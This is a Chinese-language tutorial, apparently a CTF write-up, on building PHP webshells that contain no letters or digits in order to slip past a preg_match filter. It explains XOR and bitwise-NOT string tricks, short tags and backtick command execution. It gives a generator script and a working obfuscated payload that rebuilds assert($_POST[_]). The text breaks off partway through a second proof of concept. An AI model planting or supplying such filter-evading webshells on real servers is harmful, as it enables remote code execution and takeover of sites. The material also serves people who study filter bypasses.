师傅太强了,学习了
写在前面
关于无字母数字Webshell这个话题,可以说是老生常谈了。但是一直以来我都没怎么去系统的研究过这个问题,在这里做一波研究与总结。所谓无字符webshell,其基本原型就是对以下代码的绕过:
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
基础知识
PHP中的异或
来看这样一段代码:
<?php
echo "5"^"Z";
?>
结果将会输出o,我们来分析下原因,5的ASCII码是53,转成二进制是00110101,Z的ASCII码是90,转成二进制是01011010,将他们进行异或,为,也即十进制的111,为o.
我们深入一点来看看关于函数的执行的示例:
<?php
function o(){
echo "Hello,Von";
}
$_++;
$__= "5" ^ "Z";
$__();
?>
结果将能够成功输出"Hello,Von",我们来看一下执行的原理。
- $_++对_变量进行了自增操作,由于我们没有定义_的值,PHP会给_赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字
- $__= "5" ^ "Z"这步我们上面已经见过了,将会赋给__这个变量一个值"o"
- 由于PHP的动态语言特性,PHP允许我们将字符串当成函数来处理,因此在这里面的$__()就相当于调用了o()
PHP中的取反
来看下面这个例子:
>>> print("卢".encode("utf8"))
b'\xe5\x8d\xa2'
<?php
$_="卢";
print(~($_{1}));
print(~"\x8d");
// 输出rr
上面两个输出是相同的原因是因为里面$_{1}就是\x8d,至于为什么对\x8d进行取反就能得到r,具体原理解释起来涉及到取反、补码、十六进制编码等的相关知识,就略过不表了。(建议回去复习计组)
总之我们就需要知道,对于一个汉字进行~($x{0})或~($x{1})或~($x{2})的操作,可以得到某个ASCII码的字符值
PHP5和PHP7的区别
- PHP5中,assert()是一个函数,我们可以用$_=assert;$_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(不过貌似这点存疑,我在PHP7.1中确实不允许再使用这种调用方法了,但是网上有人貌似在PHP7.0.12下还能这样调用,可能是7.1及以上不行??)
- PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')();
PHP中的短标签
PHP中有两种短标签,<??>和<?=?>。其中,<??>相当于对<?php>的替换。而<?=?>则是相当于<? echo>。例如:
<?= '111'?>
将会输出'111' 大部分文章说短标签需要在php.ini中设置short_open_tag为on才能开启短标签(默认是开启的,但似乎又默认注释,所以还是等于没开启)。但实际上在PHP5.4以后,无论short_open_tag是否开启,<?=?>这种写法总是适用的,<??>这种写法则需要short_open_tag开启才行。
PHP中的反引号
PHP中,反引号可以起到命令执行的效果。
<?php
$_=`whoami`;
echo $_;
成功执行命令
如果我们利用上面短标签的写法,可以把代码简写为:
<?= `whoami`?>
方法解析
基本所有的思路都是利用无字符构造出相关字符如assert,来进行执行函数。
方法一
方法一就是利用我们上面提到的关于异或的知识, 我给出一个POC:
<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;
function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}
这个POC可以将"assert"变成两个字符串异或的结果。为了便于表示,生成字符串的范围我均控制为可见字符(即ASCII为33~126),如果要使POC适用范围更广,可以改为0~126,只不过对于不可见字符,需要用url编码表示。
使用这个POC,我们可以得到:
<?php
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $$__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);
代入此题的环境,可以看到,成功执行命令
需要注意的是,由于我们的Payload中含有一些特殊字符,我们我们需要对Payload进行一次URL编码。
方法二
方法二就是利用取反的原理,对汉字取反获得字符。我给出一个POC,从3000+个汉字中获得通过取反得到assert。
<?php
header("Content-type:text/html;charset=utf-8");
$shell = "assert";
$result = "";